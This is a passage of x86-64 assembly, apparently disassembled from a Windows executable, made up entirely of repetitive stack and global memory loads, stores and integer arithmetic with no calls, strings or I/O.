mov rcx, qword [rsp + 0x6e30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8860]
mov word [rcx], ax
lea rax, [rsp + 0x10b]
mov qword [rsp + 0x9240], rax
movsx eax, word [rsp + 0xcec]
mov rcx, qword [rsp + 0x84e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e58]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3edc], eax
mov rax, qword [rsp + 0x8678]
mov rax, qword [rax]
mov qword [rsp + 0x9248], rax
mov rax, qword [rsp + 0x8578]
mov ecx, dword [rsp + 0x3dd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fd8], eax
lea rax, [rsp + 0x85e0]
mov qword [rsp + 0x9250], rax
lea rax, [rsp + 0x51]
mov qword [0x14017a988], rax
movzx eax, word [rsp + 0xe04]
movzx ecx, word [rsp + 0xd9c]
sub eax, ecx
mov word [rsp + 0x1038], ax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0x9258], rax
mov rax, qword [rsp + 0x6be0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8448]
mov word [rcx], ax
mov rax, qword [rsp + 0x8640]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x101]
add eax, ecx
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f38]
mov rax, qword [rax]
mov qword [rsp + 0x9260], rax
mov rax, qword [rsp + 0x7800]
mov rcx, qword [rsp + 0x8618]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6e40]
mov dword [rcx], eax
lea rax, [rsp + 0x7b68]
mov qword [rsp + 0x9268], rax
mov rax, qword [rsp + 0x7700]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7be0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x81a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe5c]
cdq
idiv ecx
mov rcx, qword [0x14017a8f8]
mov word [rcx], ax
movsx eax, word [0x14017910c]
mov rcx, qword [rsp + 0x8360]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe18], ax
lea rax, [rsp + 0x46]
mov qword [rsp + 0x9270], rax
movzx eax, word [rsp + 0xf84]
mov rcx, qword [rsp + 0x87a0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf38], ax
lea rax, [0x14017a4d6]
mov qword [rsp + 0x9278], rax
mov rax, qword [rsp + 0x8a20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6e80]
mov qword [rsp + 0x9280], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9280]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7658]
mov dword [rcx], eax
mov rax, qword [rsp + 0x72b8]
mov rcx, qword [rsp + 0x8d28]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
lea rax, [0x140179004]
mov qword [rsp + 0x9288], rax
mov rax, qword [rsp + 0x8dd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7720], rax
mov rax, qword [rsp + 0x8fc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf28]
add eax, ecx
mov word [0x140179110], ax
lea rax, [0x140179020]
mov qword [rsp + 0x9290], rax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x8310]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4a], al
lea rax, [rsp + 0x13d]
mov qword [rsp + 0x9298], rax
mov rax, qword [rsp + 0x84f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9150]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6df8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7d10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ca8], rax
mov rax, qword [rsp + 0x7708]
mov rax, qword [rax]
mov qword [rsp + 0x92a0], rax
mov rax, qword [rsp + 0x7fd0]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x75c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov eax, dword [rax]
mov dword [rsp + 0x404c], eax
movsx eax, byte [rsp + 0x118]
mov rcx, qword [rsp + 0x88a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140179027], al
mov rax, qword [0x14017a570]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7bb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcd8], ax
mov rax, qword [rsp + 0x71d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa7]
add eax, ecx
mov rcx, qword [rsp + 0x85e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7228]
movzx eax, word [rax]
mov word [rsp + 0x1060], ax
mov rax, qword [rsp + 0x89c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb8]
xor eax, ecx
mov rcx, qword [rsp + 0x7d20]
mov word [rcx], ax
lea rax, [rsp + 0x8c58]
mov qword [rsp + 0x92a8], rax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d60]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6af8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8630]
mov qword [rsp + 0x92b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x92b0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x74a0], rax
mov eax, dword [rsp + 0x3c8c]
mov dword [rsp + 0x4050], eax
mov rax, qword [rsp + 0x8228]
movzx eax, byte [rax]
mov byte [0x14017a5c2], al
mov rax, qword [0x14017a5b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x82d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x76d0]
mov word [rcx], ax
lea rax, [rsp + 0x12a]
mov qword [rsp + 0x92b8], rax
mov rax, qword [rsp + 0x7298]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff8]
and eax, ecx
mov word [rsp + 0xe58], ax
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0x85f0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xfcc], ax
mov rax, qword [rsp + 0x8e88]
mov rax, qword [rax]
mov qword [rsp + 0x92c0], rax
mov rax, qword [rsp + 0x7738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e30], eax
mov rax, qword [rsp + 0x7498]
mov eax, dword [rax]
mov dword [rsp + 0x4054], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8c10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7290], rax
mov rax, qword [rsp + 0x8680]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a630]
mov byte [rcx], al
mov rax, qword [0x14017a690]
movzx eax, word [rax]
mov word [rsp + 0x1064], ax
movzx eax, word [rsp + 0xc7c]
movzx ecx, word [rsp + 0xfbc]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xef]
and eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x7758]
movzx eax, byte [rax]
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x82c8]
mov rcx, qword [rsp + 0x8700]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f8c], eax
mov rax, qword [rsp + 0x6c20]
mov eax, dword [rax]
mov dword [rsp + 0x4058], eax
mov rax, qword [rsp + 0x89d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b28], rax
mov rax, qword [rsp + 0x7740]
mov rcx, qword [rsp + 0x79f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ce8], rax
movsx eax, word [rsp + 0xf64]
mov rcx, qword [0x14017a680]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140179050], ax
lea rax, [rsp + 0x4a]
mov qword [rsp + 0x92c8], rax
movzx eax, byte [rsp + 0x148]
movzx ecx, byte [rsp + 0xc1]
shl eax, cl
mov byte [rsp + 0xff], al
movzx eax, word [rsp + 0xe7c]
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0x9038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f88]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x8e28]
mov rcx, qword [rsp + 0x8708]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8220], rax
mov eax, dword [rsp + 0x3f44]
mov dword [rsp + 0x405c], eax
mov rax, qword [rsp + 0x7790]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3db0]
shr eax, cl
mov dword [rsp + 0x3edc], eax
lea rax, [rsp + 0x7ca8]
mov qword [rsp + 0x92d0], rax
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [0x1401790fc]
imul eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x77f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14017908e], al
mov rax, qword [rsp + 0x7cb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7628]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeac], ax
movzx eax, byte [0x140179076]
mov byte [rsp + 0x170], al
movzx eax, word [rsp + 0xf50]
mov rcx, qword [rsp + 0x7348]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc7c], ax
lea rax, [rsp + 0x71d8]
mov qword [rsp + 0x92d8], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3dec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7fd0]
mov dword [rcx], eax
lea rax, [rsp + 0x3c50]
mov qword [rsp + 0x92e0], rax
mov rax, qword [rsp + 0x7958]
mov rcx, qword [rsp + 0x73b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8230]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8328]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x116], al
movsx eax, word [rsp + 0xd4c]
mov rcx, qword [rsp + 0x81a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401790a0], ax
lea rax, [rsp + 0x8d]
mov qword [rsp + 0x92e8], rax
movsx eax, word [rsp + 0xd5c]
mov rcx, qword [rsp + 0x7b80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf5c], ax
lea rax, [rsp + 0x16f]
mov qword [rsp + 0x92f0], rax
mov rax, qword [rsp + 0x7890]
mov ecx, dword [rsp + 0x3e58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4050], eax
mov rax, qword [rsp + 0x9268]
mov rcx, qword [rsp + 0x8538]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8400]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9048]
mov rax, qword [rax]
mov qword [rsp + 0x92f8], rax
mov eax, dword [rsp + 0x3ebc]
mov rcx, qword [rsp + 0x6a28]
mov qword [rsp + 0x9300], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9300]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x73d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8250]
movzx eax, byte [rax]
mov byte [rsp + 0x171], al
movsx eax, word [rsp + 0x103c]
mov rcx, qword [rsp + 0x7f18]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140179114], ax
movzx eax, byte [rsp + 0xd8]
mov rcx, qword [0x14017a548]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x68], al
movzx eax, word [rsp + 0xf3c]
mov rcx, qword [rsp + 0x7248]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe20], ax
lea rax, [rsp + 0x125]
mov qword [rsp + 0x9308], rax
mov rax, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0x7680]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d50], eax
mov rax, qword [rsp + 0x8e18]
mov qword [rsp + 0x9310], rax
mov rax, qword [rsp + 0x7860]
mov rcx, qword [rsp + 0x70a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x87f8], rax
mov eax, dword [rsp + 0x4034]
mov dword [rsp + 0x4060], eax
mov rax, qword [0x14017a820]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov rcx, qword [rsp + 0x8e58]
mov word [rcx], ax
lea rax, [rsp + 0x8b]
mov qword [0x14017a990], rax
mov rax, qword [rsp + 0x8db0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82]
sub eax, ecx
mov byte [rsp + 0x75], al
lea rax, [0x1401790a8]
mov qword [rsp + 0x9318], rax
movzx eax, word [rsp + 0xd30]
movzx ecx, word [rsp + 0xc40]
add eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
lea rax, [rsp + 0xf6]
mov qword [rsp + 0x9320], rax
mov rax, qword [rsp + 0x6c68]
mov rcx, qword [rsp + 0x7710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8520]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7418]
mov rcx, qword [rsp + 0x6c70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8390]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3e80]
mov dword [rsp + 0x4064], eax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x77e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x77a0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc40]
movzx ecx, word [rsp + 0xff0]
sub eax, ecx
mov word [0x140179018], ax
mov rax, qword [rsp + 0x8588]
movzx eax, word [rax]
mov word [rsp + 0x106c], ax
movzx eax, byte [rsp + 0x93]
movzx ecx, byte [rsp + 0x11c]
xor eax, ecx
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x8e10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d50]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8bb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7b48]
movzx eax, byte [rax]
mov byte [rsp + 0x172], al
mov eax, dword [rsp + 0x3d50]
movzx ecx, al
mov eax, dword [0x14017a4d0]
sar eax, cl
mov dword [rsp + 0x3de8], eax
mov rax, qword [rsp + 0x7958]
mov rax, qword [rax]
mov qword [rsp + 0x9328], rax
mov rax, qword [rsp + 0x9310]
mov rcx, qword [rsp + 0x6f90]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7748]
mov qword [rcx], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3f04]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d8c], eax
lea rax, [rsp + 0xe84]
mov qword [0x14017a998], rax
lea rax, [rsp + 0xbe]
mov qword [rsp + 0x9330], rax
mov rax, qword [rsp + 0x82f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde0]
imul eax, ecx
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x9218]
movzx eax, word [rax]
mov word [rsp + 0x1070], ax
movsx eax, word [rsp + 0xe58]
movsx ecx, word [rsp + 0xea4]
and eax, ecx
mov word [rsp + 0xce0], ax
mov rax, qword [0x140179010]
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x89f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x85f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3dec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dac], eax
lea rax, [rsp + 0x7d88]
mov qword [rsp + 0x9340], rax
mov rax, qword [rsp + 0x8268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa7]
add eax, ecx
mov byte [0x140179056], al
mov rax, qword [rsp + 0x8c20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8568]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x44], al
lea rax, [0x140179018]
mov qword [rsp + 0x9348], rax
movzx eax, byte [rsp + 0xa4]
movzx ecx, byte [rsp + 0x169]
sub eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x7d20]
movsx eax, word [rax]
mov rcx, qword [0x14017a7a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdac], ax
mov eax, dword [rsp + 0x4028]
mov dword [rsp + 0x4068], eax
mov rax, qword [rsp + 0x7218]
mov rcx, qword [rsp + 0x7970]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7a10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e20]
mov eax, dword [rax]
mov dword [rsp + 0x406c], eax
mov rax, qword [rsp + 0x7fc8]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9050]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd0c]
movzx ecx, word [rsp + 0xdfc]
sar eax, cl
mov rcx, qword [0x14017a778]
mov word [rcx], ax
movsx eax, byte [rsp + 0x9f]
mov rcx, qword [rsp + 0x8d20]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7b58]
mov byte [rcx], al
lea rax, [rsp + 0xaf]
mov qword [rsp + 0x9350], rax
mov rax, qword [rsp + 0x6ce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd20]
xor eax, ecx
mov word [rsp + 0xcb0], ax
mov rax, qword [rsp + 0x83c0]
movzx eax, word [rax]
mov word [rsp + 0x1074], ax
mov rax, qword [rsp + 0x76c8]
mov eax, dword [rax]
mov ecx, dword [section..data]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4008], eax
lea rax, [rsp + 0x7290]
mov qword [rsp + 0x9358], rax
mov rax, qword [rsp + 0x8a90]
mov rcx, qword [rsp + 0x6ff0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8158], rax
mov rax, qword [rsp + 0x8208]
mov rcx, qword [rsp + 0x6c20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7820]
mov dword [rcx], eax
lea rax, [rsp + 0x164]
mov qword [0x14017a9a0], rax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x9360], rax
mov rax, qword [rsp + 0x9180]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x8a10]
mov word [rcx], ax
lea rax, [rsp + 0xebc]
mov qword [rsp + 0x9368], rax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8250]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x77f0]
mov byte [rcx], al
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3f30]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f4c], eax
mov eax, dword [rsp + 0x3fd0]
mov dword [rsp + 0x4070], eax
mov rax, qword [rsp + 0x8888]
mov rcx, qword [rsp + 0x76b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x70a0], rax
mov rax, qword [rsp + 0x7198]
mov rax, qword [rax]
mov qword [rsp + 0x9370], rax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x8058]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a518]
mov byte [rcx], al
mov rax, qword [rsp + 0x8718]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x74c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd54], ax
movsx eax, byte [rsp + 0x95]
movsx ecx, byte [rsp + 0x139]
add eax, ecx
mov byte [rsp + 0x43], al
lea rax, [rsp + 0x116]
mov qword [rsp + 0x9378], rax
mov rax, qword [rsp + 0x6c78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ff8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7778]
mov word [rcx], ax
mov rax, qword [rsp + 0x80e0]
mov eax, dword [rax]
mov dword [rsp + 0x4074], eax
mov rax, qword [rsp + 0x74f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7900], rax
mov rax, qword [rsp + 0x83b8]
mov rcx, qword [rsp + 0x9228]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8810]
mov qword [rcx], rax
lea rax, [rsp + 0x3c40]
mov qword [rsp + 0x9380], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov byte [0x14017a5c3], al
mov rax, qword [rsp + 0x7770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
sar eax, cl
mov word [rsp + 0xf0c], ax
lea rax, [0x14017a4f8]
mov qword [rsp + 0x9388], rax
movsx eax, word [rsp + 0xc54]
mov rcx, qword [rsp + 0x8f20]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc48], ax
lea rax, [rsp + 0x154]
mov qword [rsp + 0x9390], rax
mov rax, qword [rsp + 0x8230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8008]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f70]
movzx ecx, al
mov eax, dword [rsp + 0x3e94]
shl eax, cl
mov dword [rsp + 0x3d80], eax
lea rax, [rsp + 0x7318]
mov qword [rsp + 0x9398], rax
mov eax, dword [rsp + 0x3d9c]
mov ecx, dword [0x14017a4d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d40], eax
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x93a0], rax
lea rax, [rsp + 0xf78]
mov qword [0x14017a9a8], rax
movzx eax, byte [rsp + 0xc5]
movzx ecx, byte [0x140179009]
add eax, ecx
mov byte [rsp + 0x14a], al
movsx eax, byte [rsp + 0xb9]
movsx ecx, byte [rsp + 0x13c]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov byte [rcx], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0x93a8], rax
mov rax, qword [rsp + 0x7768]
mov rcx, qword [rsp + 0x7300]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x79b0], rax
mov rax, qword [rsp + 0x8be0]
mov qword [rsp + 0x93b0], rax
mov eax, dword [rsp + 0x3d00]
mov ecx, dword [rsp + 0x3e58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc8], eax
mov rax, qword [rsp + 0x7c58]
mov ecx, dword [0x14017a4d0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8248]
mov dword [rcx], eax
lea rax, [rsp + 0xd00]
mov qword [rsp + 0x93b8], rax
mov rax, qword [rsp + 0x9278]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x87c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017908b], al
mov rax, qword [rsp + 0x8dc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7bf8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe50], ax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x93c0], rax
mov rax, qword [rsp + 0x8e40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
sub eax, ecx
mov byte [rsp + 0xa3], al
mov eax, dword [rsp + 0x3d74]
mov ecx, dword [0x140179004]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c58], eax
lea rax, [rsp + 0x8e30]
mov qword [rsp + 0x93c8], rax
mov rax, qword [rsp + 0x8878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7160]
mov qword [rsp + 0x93d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x93d0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x7aa8]
mov qword [rcx], rax
lea rax, [rsp + 0x3f3c]
mov qword [rsp + 0x93d8], rax
mov rax, qword [rsp + 0x8900]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9060]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7ef0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8bb0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a510]
mov byte [rcx], al
mov rax, qword [rsp + 0x9068]
movzx eax, byte [rax]
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x7580]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb4]
and eax, ecx
mov word [rsp + 0xd4c], ax
movzx eax, word [rsp + 0xd14]
movzx ecx, word [0x14017a7e0]
sub eax, ecx
mov word [rsp + 0xd54], ax
lea rax, [rsp + 0x3ff0]
mov qword [rsp + 0x93e0], rax
mov eax, dword [rsp + 0x3e60]
mov ecx, dword [rsp + 0x3ca0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8500]
mov dword [rcx], eax
lea rax, [rsp + 0x9310]
mov qword [rsp + 0x93e8], rax
mov rax, qword [rsp + 0x7a78]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8288], rax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x7490]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb4], ax
movsx eax, byte [rsp + 0x13c]
movsx ecx, byte [0x14017a4d7]
and eax, ecx
mov byte [0x14017908f], al
lea rax, [rsp + 0xea]
mov qword [rsp + 0x93f0], rax
movzx eax, word [rsp + 0xc8c]
movzx ecx, word [rsp + 0xf48]
add eax, ecx
mov rcx, qword [rsp + 0x81a0]
mov word [rcx], ax
lea rax, [rsp + 0xeb8]
mov qword [rsp + 0x93f8], rax
mov rax, qword [rsp + 0x8b88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6a]
sub eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x8a60]
mov rcx, qword [rsp + 0x7d88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x77d0], rax
lea rax, [rsp + 0x3e04]
mov qword [rsp + 0x9400], rax
mov rax, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x7b10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7ef8], rax
mov rax, qword [rsp + 0x8a20]
mov eax, dword [rax]
mov dword [rsp + 0x4078], eax
movzx eax, word [rsp + 0xc40]
mov rcx, qword [rsp + 0x8388]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14017a890], ax
movzx eax, byte [rsp + 0x108]
mov rcx, qword [rsp + 0x7d48]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6de0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8660]
movzx eax, word [rax]
mov word [rsp + 0x1078], ax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0x87e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x92e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
shl eax, cl
mov rcx, qword [rsp + 0x85a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x81f0]
mov rax, qword [rax]
mov qword [rsp + 0x9408], rax
mov rax, qword [rsp + 0x9040]
mov rcx, qword [rsp + 0x7468]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ce8], rax
lea rax, [rsp + 0x3f8c]
mov qword [rsp + 0x9410], rax
mov eax, dword [rsp + 0x3ea8]
mov ecx, dword [rsp + 0x3d84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9118]
mov dword [rcx], eax
lea rax, [0x140179030]
mov qword [0x14017a9b0], rax
mov rax, qword [rsp + 0x8e40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7da0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x109], al
lea rax, [rsp + 0xe34]
mov qword [rsp + 0x9418], rax
mov rax, qword [rsp + 0x85d8]
